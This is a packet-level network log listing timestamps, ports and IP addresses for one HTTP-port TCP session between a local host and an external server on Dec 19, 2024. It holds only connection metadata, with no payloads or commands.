Dec 19, 2024 06:09:53.632626057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.632731915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.633640051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.633721113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.633774042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.634740114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.634804964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.634848118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.635886908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.635946989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.636006117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.636042118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.636972904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.636991024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.637104988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.638070107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.638175964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.638284922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.639188051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.639296055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.639309883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.640131950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.640278101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.640377998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.640389919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.640454054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.641396046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.641478062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.641519070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.641630888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.642523050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.642616034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.642642021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.642746925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.643624067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.643676043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.643718004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.643768072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.644704103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.644851923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.644967079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.645812035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.645926952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.646044016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.646943092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.646992922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.647048950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.648056030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.648087978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.648117065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.648138046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.648216009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.649141073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.649220943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.649245977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.649297953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.650258064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.650348902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.650371075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.650417089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.651374102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.651457071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.651458979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.651511908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.652481079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.652573109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.652625084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.653589964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.653700113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.653745890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.654726028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.654789925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.654871941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.655802011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.655878067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.655914068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.656044006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.656917095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.656991959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.657028913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.657078028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.658029079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.658071995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.658113956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.658158064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.659152031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.659198046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.659224987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.659290075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.660219908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.660329103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.660387993 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.661325932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.661375999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.661421061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.662467003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.662547112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.662590027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.662751913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.663559914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.663676977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.663799047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.664660931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.664789915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.664875984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.665744066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.665874004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.665894985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.666874886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.666949987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.666960001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.667037964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.667969942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.668085098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.668164968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.669080019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.669186115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.669331074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.670193911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.670265913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.670301914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.670412064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.671288013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.671330929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.671392918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.671448946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.672398090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.672447920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.672494888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.673505068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.673552036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.673609018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.674631119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.674717903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.674766064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.675738096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.675816059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.675852060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.676843882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.676901102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.676933050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.677959919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.678006887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.678144932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.678271055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.679009914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.683072090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.816437960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.816587925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.816591024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.816606045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.816740036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.816927910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.817020893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.817261934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.817280054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.817321062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.817370892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.817435980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.818173885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.818188906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.818206072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.818234921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.818263054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.818619967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.818635941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.818653107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.818677902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.818703890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.818964958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.818981886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819061995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819108009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819133043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819148064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819163084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819178104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819189072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819189072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819194078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819211960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819224119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819246054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819273949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819295883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819310904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819340944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819365978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.819453955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.819626093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.820123911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.820138931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.820154905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.820185900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.820185900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.820261955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.821933985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.822026014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.822341919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.822357893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.822412968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.826674938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.826692104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.826708078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.826736927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.826736927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.826764107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.827435970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.827593088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.827608109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.827658892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.827692986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.828324080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.828486919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.828504086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.828562021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.828562021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.829349041 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.829365969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.829381943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.829417944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.829476118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.830252886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.830269098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.830286026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.830312967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.830312967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.830332994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.831078053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.831093073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.831108093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.831132889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.831147909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.832020044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.832036018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.832096100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.832096100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.832148075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.832395077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.832943916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.832959890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.832976103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.833029032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.833029032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.833239079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.833254099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.833270073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.833321095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.833321095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.834008932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.834105968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.834177017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.834192038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.834265947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.835004091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835019112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835036039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835063934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.835063934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.835115910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.835743904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835760117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835777044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835802078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.835802078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.835813999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.835932970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835947990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835957050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.835964918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836124897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836139917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836154938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836169958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836169958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836170912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836185932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836199045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836199045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836201906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836211920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836236000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836258888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836262941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836278915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836296082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836349010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836349010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836457968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836473942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836524963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836524963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.836590052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.836677074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.837380886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.837397099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.837414026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.837450027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.837475061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.838258982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.838275909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.838291883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.838327885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.838376045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.839103937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.839121103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.839137077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.839185953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.839185953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.839891911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.839951992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.840049028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.840065002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.840125084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.840785980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.840801954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.840872049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.840918064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.840981960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.841408968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.841461897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.841505051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.841552973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.856669903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.856811047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.856827021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.856898069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.856945992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.857197046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.857311964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.857328892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.857388020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.857388020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:53.857965946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:53.858165979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.005187035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.005207062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.005223989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:54.005340099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:54.005340099 CET	49860	80	192.168.2.4	31.41.244.11
